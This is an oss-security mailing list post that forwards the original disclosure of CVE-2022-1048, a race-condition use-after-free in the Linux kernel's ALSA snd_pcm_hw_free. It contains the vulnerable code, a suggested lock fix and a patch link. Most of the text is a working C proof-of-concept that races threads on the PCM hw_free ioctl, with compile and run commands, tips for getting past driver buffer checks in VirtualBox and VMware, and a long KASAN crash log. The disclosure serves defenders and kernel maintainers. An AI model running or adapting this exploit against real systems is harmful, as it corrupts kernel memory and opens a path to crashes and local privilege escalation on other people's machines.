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Date: Mon, 28 Mar 2022 22:06:40 +0800
From: Hu Jiahui <kirin.say@...il.com>
To: oss-security@...ts.openwall.com
Subject: Linux Kernel: Race Condition in snd_pcm_hw_free leading to use-after-free
This is the original report about CVE-2022-1048.
Patch: https://lore.kernel.org/all/20220322170720.3529-1-tiwai@suse.de/#t
---------- Forwarded message ---------
发件人： Hu Jiahui <kirin.say@...il.com>
Date: 2022年3月20日周日 22:22
Subject: [vs] Linux Kernel: Race Condition in snd_pcm_hw_free leading to
use-after-free
To: <security@...nel>, <linux-distros>
# Linux Kernel: Race Condition in snd_pcm_hw_free leading to use-after-free
## Details
In the path: snd_pcm_common_ioctl -> snd_pcm_hw_free:
```c
static int snd_pcm_hw_free(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime;
int result;
if (PCM_RUNTIME_CHECK(substream))
return -ENXIO;
runtime = substream->runtime;
snd_pcm_stream_lock_irq(substream);
switch (runtime->status->state) {
case SNDRV_PCM_STATE_SETUP:
case SNDRV_PCM_STATE_PREPARED:
break;
default:
snd_pcm_stream_unlock_irq(substream);
return -EBADFD;
}
snd_pcm_stream_unlock_irq(substream);
if (atomic_read(&substream->mmap_count))
return -EBADFD;
result = do_hw_free(substream);
snd_pcm_set_state(substream, SNDRV_PCM_STATE_OPEN);
cpu_latency_qos_remove_request(&substream->latency_pm_qos_req);
return result;
}
```
It seems like that the function calls the unlock too early, this may lead
to a race condition in the following code.
And if two threads call do_hw_free->snd_pcm_lib_free_pages at the same time:
```
int snd_pcm_lib_free_pages(struct snd_pcm_substream *substream)
{
struct snd_card *card = substream->pcm->card;
struct snd_pcm_runtime *runtime;
if (PCM_RUNTIME_CHECK(substream))
return -EINVAL;
runtime = substream->runtime;
if (runtime->dma_area == NULL)
return 0;
if (runtime->dma_buffer_p != &substream->dma_buffer) { // ******** 1
********
/* it's a newly allocated buffer. release it now. */
do_free_pages(card, runtime->dma_buffer_p);
kfree(runtime->dma_buffer_p); // ******** 2 ********
}
snd_pcm_set_runtime_buffer(substream, NULL);
return 0;
}
```
=> It will lead to a use-after-free(double free) issue in the kernel.
## Suggestion
Add a lock to the snd_pcm_hw_free and unlock it when return.
## POC
To trigger this vulnerability at (2), the poc should bypass the check in
snd_pcm_lib_free_pages:(1). Actually, whether to apply for new memory here
is related to the sound driver used in the system.
If we add a virtual machine in VirtualBox with Ubuntu. The default sound
driver is intel8x0, and in this driver we can alloc a new buffer and bypass
the check in (1) easily.
(But in the Vmware, the driver has requested the maximum memory size in
advance. To trigger the vulnerability, we must write the
"/proc/xxx/xxx/prealloc" file in sound card to force the driver to apply
for a smaller buffer(in function snd_pcm_lib_preallocate_proc_write) so
that we can alloc a new buffer in snd_pcm_lib_malloc_pages later.)
**The POC:**
```
#include <stdio.h>
#include <stdlib.h>
#include "alsa/asoundlib.h"
#include <stdbool.h>
#include <sys/socket.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
typedef unsigned int __u32;
#define SNDRV_PCM_HW_PARAM_ACCESS 0 /* Access type */
#define SNDRV_PCM_HW_PARAM_FORMAT 1 /* Format */
#define SNDRV_PCM_HW_PARAM_SUBFORMAT 2 /* Subformat */
#define SNDRV_PCM_HW_PARAM_FIRST_MASK SNDRV_PCM_HW_PARAM_ACCESS
#define SNDRV_PCM_HW_PARAM_LAST_MASK SNDRV_PCM_HW_PARAM_SUBFORMAT
#define SNDRV_PCM_HW_PARAM_SAMPLE_BITS 8 /* Bits per sample */
#define SNDRV_PCM_HW_PARAM_FRAME_BITS 9 /* Bits per frame */
#define SNDRV_PCM_HW_PARAM_CHANNELS 10 /* Channels */
#define SNDRV_PCM_HW_PARAM_RATE 11 /* Approx rate */
#define SNDRV_PCM_HW_PARAM_PERIOD_TIME 12 /* Approx distance between
* interrupts in us
*/
#define SNDRV_PCM_HW_PARAM_PERIOD_SIZE 13 /* Approx frames between
* interrupts
*/
#define SNDRV_PCM_HW_PARAM_PERIOD_BYTES 14 /* Approx bytes between
* interrupts
*/
#define SNDRV_PCM_HW_PARAM_PERIODS 15 /* Approx interrupts per
* buffer
*/
#define SNDRV_PCM_HW_PARAM_BUFFER_TIME 16 /* Approx duration of buffer
* in us
*/
#define SNDRV_PCM_HW_PARAM_BUFFER_SIZE 17 /* Size of buffer in frames */
#define SNDRV_PCM_HW_PARAM_BUFFER_BYTES 18 /* Size of buffer in bytes */
#define SNDRV_PCM_HW_PARAM_TICK_TIME 19 /* Approx tick duration in us */
#define SNDRV_PCM_HW_PARAM_FIRST_INTERVAL SNDRV_PCM_HW_PARAM_SAMPLE_BITS
#define SNDRV_PCM_HW_PARAM_LAST_INTERVAL SNDRV_PCM_HW_PARAM_TICK_TIME
struct snd_interval {
unsigned int min, max;
unsigned int openmin:1,
openmax:1,
integer:1,
empty:1;
};
#define SNDRV_MASK_MAX 256
struct snd_mask {
__u32 bits[(SNDRV_MASK_MAX+31)/32];
};
typedef struct {
int version;
int fd;
int card, device, subdevice;
volatile struct snd_pcm_mmap_status * mmap_status;
struct snd_pcm_mmap_control *mmap_control;
bool mmap_status_fallbacked;
bool mmap_control_fallbacked;
struct snd_pcm_sync_ptr *sync_ptr;
int period_event;
snd_timer_t *period_timer;
struct pollfd period_timer_pfd;
int period_timer_need_poll;
/* restricted parameters */
snd_pcm_format_t format;
int rate;
int channels;
/* for chmap */
unsigned int chmap_caps;
snd_pcm_chmap_query_t **chmap_override;
} snd_pcm_hw_t;
struct snd_pcm_hw_params {
unsigned int flags;
struct snd_mask masks[SNDRV_PCM_HW_PARAM_LAST_MASK -
SNDRV_PCM_HW_PARAM_FIRST_MASK + 1];
struct snd_mask mres[5]; /* reserved masks */
struct snd_interval intervals[SNDRV_PCM_HW_PARAM_LAST_INTERVAL -
SNDRV_PCM_HW_PARAM_FIRST_INTERVAL + 1];
struct snd_interval ires[9]; /* reserved intervals */
unsigned int rmask; /* W: requested masks */
unsigned int cmask; /* R: changed masks */
unsigned int info; /* R: Info flags for returned setup */
unsigned int msbits; /* R: used most significant bits */
unsigned int rate_num; /* R: rate numerator */
unsigned int rate_den; /* R: rate denominator */
snd_pcm_uframes_t fifo_size; /* R: chip FIFO size in frames */
unsigned char reserved[64]; /* reserved for future */
};
int k;
int magic_fd;
unsigned char hw_params_data[] =
{
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x40, 0x1F, 0x00, 0x00,
0x80, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x35,
0x05, 0x00, 0x00, 0x40, 0x1F, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x48, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x00, 0x20, 0x01, 0x00, 0x00, 0x20, 0x01, 0x00,
0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x55, 0x35, 0x05, 0x00,
0x00, 0x40, 0x1F, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x48,
0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x00, 0x20, 0x01, 0x00, 0x00, 0x20, 0x01, 0x00, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0x07, 0x00,
0x03, 0x01, 0x0D, 0x80, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
void race(){
while(k!=1){};
ioctl(magic_fd,0x4112,0);
}
int main(int argc, char *argv[])
{
int i;
int j;
int fd;
snd_pcm_hw_params_t *ptr;
snd_pcm_hw_params_malloc(&ptr);
memcpy(ptr, hw_params_data, 0x260);
magic_fd = open("/dev/snd/pcmC0D1c", 0);
printf("[+] CHECK FD: %d\n",magic_fd);
ioctl(magic_fd, 0xC2604111, ptr);
#define RACE_NUM 20
pthread_t race_thread[RACE_NUM]={};
for(int i=0;i<RACE_NUM;i++){
pthread_create(&race_thread[i],NULL,race,NULL);
}
k=1;
for(int i=0;i<RACE_NUM;i++){
pthread_join(race_thread[i],NULL);
}
return 0;
}
```
To trigger it easily, please run it in VirtualBox with Ubuntu(with latest
stable kernel version), and make sure that the user has permission to open
"/dev/snd/pcmC0D1c"(in user group: audio) :
```
sudo apt-get install libasound2-dev
gcc exp.c -lasound -lpthread -ldl -lm -o poc
./poc # I lost a stable version of POC, you may need to run the poc(above)
several times to see a kasan log of use-after-free.
```
## Reporter
Kirin(@Pwnrin) of Tencent Security Xuanwu Lab
## KASAN LOG
```
[ 141.594199] BUG: Bad page state in process exp pfn:79140
[ 141.594201]
==================================================================
[ 141.594213] BUG: KASAN: use-after-free in snd_dma_free_pages+0x2cd/0x380
[snd_pcm]
[ 141.594217] Read of size 4 at addr ffff8880b34c9400 by task exp/1956
[ 141.594224] CPU: 1 PID: 1956 Comm: exp Not tainted 5.4.166 #1
[ 141.594226] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS
VirtualBox 12/01/2006
[ 141.594228] page:ffffea0001e45000 refcount:-1 mapcount:0
mapping:0000000000000000 index:0x0 compound_mapcount: 0
[ 141.594231] flags: 0xfffffc0010000(head)
[ 141.594232] Call Trace:
[ 141.594253] dump_stack+0x96/0xc7
[ 141.594255] raw: 000fffffc0010000 dead000000000100 dead000000000122
0000000000000000
[ 141.594264] print_address_description.constprop.0+0x20/0x210
[ 141.594265] raw: 0000000000000000 0000000000000000 ffffffffffffffff
0000000000000000
[ 141.594266] page dumped because: nonzero _refcount
[ 141.594272] ? snd_dma_free_pages+0x2cd/0x380 [snd_pcm]
[ 141.594275] __kasan_report.cold+0x37/0x77
[ 141.594276] Modules linked in: nls_iso8859_1
[ 141.594283] ? snd_dma_free_pages+0x2cd/0x380 [snd_pcm]
[ 141.594284] intel_rapl_msr snd_intel8x0 snd_ac97_codec ac97_bus
[ 141.594289] kasan_report+0x14/0x20
[ 141.594289] snd_pcm snd_seq_midi
[ 141.594293] __asan_report_load4_noabort+0x14/0x20
[ 141.594294] snd_seq_midi_event snd_rawmidi
[ 141.594300] snd_dma_free_pages+0x2cd/0x380 [snd_pcm]
[ 141.594300] snd_seq intel_rapl_common crct10dif_pclmul
[ 141.594308] snd_pcm_lib_free_pages+0xc6/0x250 [snd_pcm]
[ 141.594308] ghash_clmulni_intel snd_seq_device joydev
[ 141.594314] snd_intel8x0_hw_free+0x98/0x170 [snd_intel8x0]
[ 141.594314] cryptd snd_timer rapl
[ 141.594321] snd_pcm_common_ioctl+0x5d5/0x1b00 [snd_pcm]
[ 141.594322] input_leds serio_raw snd vboxguest
[ 141.594329] ? snd_pcm_status_user+0x130/0x130 [snd_pcm]
[ 141.594330] soundcore mac_hid sch_fq_codel vmwgfx ttm
[ 141.594338] snd_pcm_ioctl+0x6d/0xb0 [snd_pcm]
[ 141.594339] drm_kms_helper fb_sys_fops syscopyarea
[ 141.594344] do_vfs_ioctl+0x9da/0x1020
[ 141.594345] sysfillrect sysimgblt drm
[ 141.594349] ? ioctl_preallocate+0x1c0/0x1c0
[ 141.594349] parport_pc ppdev
[ 141.594353] ? __kasan_check_write+0x14/0x20
[ 141.594353] lp parport ip_tables
[ 141.594357] ? __fget+0x21c/0x3d0
[ 141.594358] x_tables autofs4 hid_generic
[ 141.594362] ? copy_fd_bitmaps+0x2e0/0x2e0
[ 141.594363] usbhid hid psmouse
[ 141.594366] ? __switch_to_asm+0x40/0x70
[ 141.594367] crc32_pclmul ahci
[ 141.594369] ? __switch_to_asm+0x34/0x70
[ 141.594370] libahci e1000
[ 141.594373] ? __switch_to_asm+0x40/0x70
[ 141.594373] i2c_piix4 pata_acpi
[ 141.594376] ? __switch_to_asm+0x34/0x70
[ 141.594376] video
[ 141.594381] ? __fget_light+0x17e/0x1f0
[ 141.594384] ksys_ioctl+0x67/0x90
[ 141.594387] __x64_sys_ioctl+0x73/0xb0
[ 141.594391] ? fpregs_assert_state_consistent+0x22/0xa0
[ 141.594395] do_syscall_64+0x9f/0x3c0
[ 141.594398] ? syscall_return_slowpath+0x1a5/0x220
[ 141.594402] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 141.594404] RIP: 0033:0x4e68b7
[ 141.594409] Code: 4f 55 04 00 85 c0 78 df 48 83 c4 08 48 89 d8 5b 5d c3
90 48 89 e8 48 f7 d8 48 39 c3 0f 92 c0 eb b4 66 90 b8 10 00 00 00 0f 05
<48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
[ 141.594410] RSP: 002b:00007fab6baaada8 EFLAGS: 00000246 ORIG_RAX:
0000000000000010
[ 141.594414] RAX: ffffffffffffffda RBX: 0000000000000000 RCX:
00000000004e68b7
[ 141.594415] RDX: 0000000000000000 RSI: 0000000000004112 RDI:
0000000000000003
[ 141.594417] RBP: 00007fab6baaadb0 R08: 00007fab6baab700 R09:
00007fab6baab700
[ 141.594419] R10: 00007fab6baab9d0 R11: 0000000000000246 R12:
00007fab6baaae80
[ 141.594421] R13: 0000000000000000 R14: 0000000000000000 R15:
00007ffe52234d70
[ 141.594427] CPU: 2 PID: 1948 Comm: exp Not tainted 5.4.166 #1
[ 141.594429] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS
VirtualBox 12/01/2006
[ 141.594430] Call Trace:
[ 141.594431] Allocated by task 1946:
[ 141.594435] save_stack+0x23/0x90
[ 141.594438] __kasan_kmalloc.constprop.0+0xcf/0xe0
[ 141.594441] dump_stack+0x96/0xc7
[ 141.594443] kasan_kmalloc+0x9/0x10
[ 141.594445] bad_page.cold+0xfb/0x120
[ 141.594448] kmem_cache_alloc_trace+0x113/0x290
[ 141.594450] ? si_mem_available+0x310/0x310
[ 141.594456] snd_pcm_lib_malloc_pages+0x2bd/0x680 [snd_pcm]
[ 141.594458] ? __kasan_check_write+0x14/0x20
[ 141.594461] snd_intel8x0_hw_params+0x10d/0x550 [snd_intel8x0]
[ 141.594464] ? mutex_lock+0x8f/0xe0
[ 141.594469] snd_pcm_hw_params+0x2c6/0x1250 [snd_pcm]
[ 141.594471] free_pages_check_bad+0x147/0x1b0
[ 141.594477] snd_pcm_common_ioctl+0x362/0x1b00 [snd_pcm]
[ 141.594479] __free_pages_ok+0x80d/0xa60
[ 141.594485] snd_pcm_ioctl+0x6d/0xb0 [snd_pcm]
[ 141.594488] __free_pages+0x47/0x50
[ 141.594491] do_vfs_ioctl+0x9da/0x1020
[ 141.594505] dma_direct_free_pages+0xc7/0x150
[ 141.594507] ksys_ioctl+0x67/0x90
[ 141.594510] dma_direct_free+0xe/0x10
[ 141.594512] __x64_sys_ioctl+0x73/0xb0
[ 141.594514] dma_free_attrs+0x61/0x150
[ 141.594517] do_syscall_64+0x9f/0x3c0
[ 141.594524] ? snd_ac97_pcm_close+0x2d3/0x5a0 [snd_ac97_codec]
[ 141.594527] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 141.594532] snd_dma_free_pages+0x16b/0x380 [snd_pcm]
[ 141.594540] snd_pcm_lib_free_pages+0xc6/0x250 [snd_pcm]
[ 141.594542] Freed by task 1947:
[ 141.594545] snd_intel8x0_hw_free+0x11e/0x170 [snd_intel8x0]
[ 141.594552] snd_pcm_common_ioctl+0x5d5/0x1b00 [snd_pcm]
[ 141.594555] save_stack+0x23/0x90
[ 141.594560] ? snd_pcm_status_user+0x130/0x130 [snd_pcm]
[ 141.594563] __kasan_slab_free+0x137/0x180
[ 141.594568] snd_pcm_ioctl+0x6d/0xb0 [snd_pcm]
[ 141.594570] kasan_slab_free+0xe/0x10
[ 141.594573] do_vfs_ioctl+0x9da/0x1020
[ 141.594575] kfree+0x98/0x270
[ 141.594577] ? ioctl_preallocate+0x1c0/0x1c0
[ 141.594582] snd_pcm_lib_free_pages+0xed/0x250 [snd_pcm]
[ 141.594585] ? __kasan_check_write+0x14/0x20
[ 141.594588] snd_intel8x0_hw_free+0x11e/0x170 [snd_intel8x0]
[ 141.594590] ? __fget+0x21c/0x3d0
[ 141.594596] snd_pcm_common_ioctl+0x5d5/0x1b00 [snd_pcm]
[ 141.594598] ? copy_fd_bitmaps+0x2e0/0x2e0
[ 141.594603] snd_pcm_ioctl+0x6d/0xb0 [snd_pcm]
[ 141.594605] ? __switch_to_asm+0x40/0x70
[ 141.594607] ? __switch_to_asm+0x34/0x70
[ 141.594609] do_vfs_ioctl+0x9da/0x1020
[ 141.594611] ksys_ioctl+0x67/0x90
[ 141.594613] ? __switch_to_asm+0x40/0x70
[ 141.594614] __x64_sys_ioctl+0x73/0xb0
[ 141.594617] do_syscall_64+0x9f/0x3c0
[ 141.594619] ? __switch_to_asm+0x34/0x70
[ 141.594621] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 141.594624] ? __fget_light+0x17e/0x1f0
[ 141.594627] ksys_ioctl+0x67/0x90
[ 141.594630] __x64_sys_ioctl+0x73/0xb0
[ 141.594633] ? fpregs_assert_state_consistent+0x22/0xa0
[ 141.594635] The buggy address belongs to the object at ffff8880b34c9400
which belongs to the cache kmalloc-64 of size 64
[ 141.594639] The buggy address is located 0 bytes inside of
64-byte region [ffff8880b34c9400, ffff8880b34c9440)
[ 141.594641] The buggy address belongs to the page:
[ 141.594644] page:ffffea0002cd3240 refcount:1 mapcount:0
mapping:ffff8880c5403600 index:0x0
[ 141.594646] flags: 0xfffffc0000200(slab)
[ 141.594649] do_syscall_64+0x9f/0x3c0
[ 141.594652] ? syscall_return_slowpath+0x1a5/0x220
[ 141.594653] raw: 000fffffc0000200 ffffea0001e253c0 0000000c0000000c
ffff8880c5403600
[ 141.594657] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 141.594658] raw: 0000000000000000 0000000080200020 00000001ffffffff
0000000000000000
[ 141.594659] page dumped because: kasan: bad access detected
[ 141.594661] RIP: 0033:0x4e68b7
[ 141.594664] Code: 4f 55 04 00 85 c0 78 df 48 83 c4 08 48 89 d8 5b 5d c3
90 48 89 e8 48 f7 d8 48 39 c3 0f 92 c0 eb b4 66 90 b8 10 00 00 00 0f 05
<48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
[ 141.594666] RSP: 002b:00007fab6fab2da8 EFLAGS: 00000246 ORIG_RAX:
0000000000000010
[ 141.594668] Memory state around the buggy address:
[ 141.594670] RAX: ffffffffffffffda RBX: 0000000000000000 RCX:
00000000004e68b7
[ 141.594672] RDX: 0000000000000000 RSI: 0000000000004112 RDI:
0000000000000003
[ 141.594674] RBP: 00007fab6fab2db0 R08: 00007fab6fab3700 R09:
00007fab6fab3700
[ 141.594675] ffff8880b34c9300: fb fb fb fb fb fb fb fb fc fc fc fc fc fc
fc fc
[ 141.594678] ffff8880b34c9380: fb fb fb fb fb fb fb fb fc fc fc fc fc fc
fc fc
[ 141.594680] >ffff8880b34c9400: fb fb fb fb fb fb fb fb fc fc fc fc fc fc
fc fc
[ 141.594682] ^
[ 141.594684] ffff8880b34c9480: fb fb fb fb fb fb fb fb fc fc fc fc fc fc
fc fc
[ 141.594686] ffff8880b34c9500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
fc fc
[ 141.594688]
==================================================================
[ 141.594690] Disabling lock debugging due to kernel taint
[ 141.594692] R10: 00007fab6fab39d0 R11: 0000000000000246 R12:
00007fab6fab2e80
[ 141.594693] R13: 0000000000000000 R14: 0000000000000000 R15:
00007ffe52234d70
[ 141.594699] ------------[ cut here ]------------
[ 141.594700] pm_qos_remove_request() called for unknown object
[ 141.594706] snd-malloc: invalid device type 0
[ 141.594709] ------------[ cut here ]------------
[ 141.594710] pm_qos_remove_request() called for unknown object
[ 141.594716] WARNING: CPU: 2 PID: 1948 at kernel/power/qos.c:477
pm_qos_remove_request+0x204/0x2c0
[ 141.594719] WARNING: CPU: 1 PID: 1956 at kernel/power/qos.c:477
pm_qos_remove_request+0x204/0x2c0
[ 141.594720] Modules linked in:
[ 141.594721] Modules linked in:
[ 141.594721] nls_iso8859_1 intel_rapl_msr
[ 141.594723] nls_iso8859_1
[ 141.594724] snd_intel8x0 snd_ac97_codec
[ 141.594726] intel_rapl_msr
[ 141.594727] ac97_bus snd_pcm
[ 141.594728] snd_intel8x0
[ 141.594729] snd_seq_midi
[ 141.594730] snd_ac97_codec
[ 141.594731] snd_seq_midi_event
[ 141.594732] ac97_bus
[ 141.594733] snd_rawmidi snd_seq
[ 141.594735] snd_pcm
[ 141.594736] intel_rapl_common
[ 141.594737] snd_seq_midi
[ 141.594738] crct10dif_pclmul ghash_clmulni_intel
[ 141.594740] snd_seq_midi_event
[ 141.594740] snd_seq_device joydev
[ 141.594742] snd_rawmidi
[ 141.594743] cryptd
[ 141.594744] snd_seq
[ 141.594745] snd_timer rapl
[ 141.594747] intel_rapl_common
[ 141.594748] input_leds serio_raw
[ 141.594749] crct10dif_pclmul
[ 141.594750] snd vboxguest
[ 141.594752] ghash_clmulni_intel
[ 141.594753] soundcore
[ 141.594754] snd_seq_device
[ 141.594755] mac_hid sch_fq_codel
[ 141.594756] joydev
[ 141.594757] vmwgfx
[ 141.594758] cryptd
[ 141.594759] ttm drm_kms_helper
[ 141.594761] snd_timer
[ 141.594762] fb_sys_fops syscopyarea
[ 141.594763] rapl
[ 141.594764] sysfillrect sysimgblt
[ 141.594766] input_leds
[ 141.594767] drm parport_pc
[ 141.594768] serio_raw
[ 141.594769] ppdev
[ 141.594770] snd
[ 141.594771] lp parport
[ 141.594773] vboxguest
[ 141.594774] ip_tables x_tables
[ 141.594775] soundcore
[ 141.594776] autofs4 hid_generic
[ 141.594778] mac_hid
[ 141.594779] usbhid hid
[ 141.594780] sch_fq_codel
[ 141.594781] psmouse crc32_pclmul
[ 141.594783] vmwgfx
[ 141.594784] ahci libahci
[ 141.594785] ttm
[ 141.594786] e1000 i2c_piix4
[ 141.594788] drm_kms_helper
[ 141.594818] pata_acpi video
[ 141.594821] fb_sys_fops
[ 141.594823] syscopyarea sysfillrect
[ 141.594826] CPU: 1 PID: 1956 Comm: exp Tainted: G B 5.4.166 #1
[ 141.594827] sysimgblt drm parport_pc
[ 141.594830] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS
VirtualBox 12/01/2006
[ 141.594830] ppdev lp parport
[ 141.594835] RIP: 0010:pm_qos_remove_request+0x204/0x2c0
[ 141.594836] ip_tables x_tables autofs4
[ 141.594839] Code: 48 c1 ea 03 0f b6 04 02 84 c0 74 08 3c 03 0f 8e 9c 00
00 00 4d 63 6c 24 28 e9 8d fe ff ff 48 c7 c7 e0 44 4d ba e8 7f 10 f1 01
<0f> 0b 5b 41 5c 41 5d 41 5e 41 5f 5d c3 48 b8 00 00 00 00 00 fc ff
[ 141.594840] hid_generic usbhid hid
[ 141.594843] RSP: 0018:ffff8880b366fbb8 EFLAGS: 00010282
[ 141.594844] psmouse crc32_pclmul
[ 141.594846] ahci libahci e1000
[ 141.594849] RAX: 0000000000000000 RBX: ffffffffc0b416e0 RCX:
0000000000000000
[ 141.594849] i2c_piix4 pata_acpi video
[ 141.594852] RDX: 0000000000000001 RSI: 0000000000000008 RDI:
ffffed10166cdf69
[ 141.594854] RBP: ffff8880b366fbe0 R08: 0000000000000001 R09:
ffffed10193d551b
[ 141.594857] CPU: 2 PID: 1948 Comm: exp Tainted: G B 5.4.166 #1
[ 141.594858] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS
VirtualBox 12/01/2006
[ 141.594859] R10: ffffed10193d551a R11: ffff8880c9eaa8d7 R12:
ffff888035191440
[ 141.594861] R13: ffff888035191594 R14: ffff888035191400 R15:
ffff888035191468
[ 141.594863] RIP: 0010:pm_qos_remove_request+0x204/0x2c0
[ 141.594866] Code: 48 c1 ea 03 0f b6 04 02 84 c0 74 08 3c 03 0f 8e 9c 00
00 00 4d 63 6c 24 28 e9 8d fe ff ff 48 c7 c7 e0 44 4d ba e8 7f 10 f1 01
<0f> 0b 5b 41 5c 41 5d 41 5e 41 5f 5d c3 48 b8 00 00 00 00 00 fc ff
[ 141.594868] FS: 00007fab6baab700(0000) GS:ffff8880c9e80000(0000)
knlGS:0000000000000000
[ 141.594869] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 141.594871] RSP: 0018:ffff88809d6ffbb8 EFLAGS: 00010282
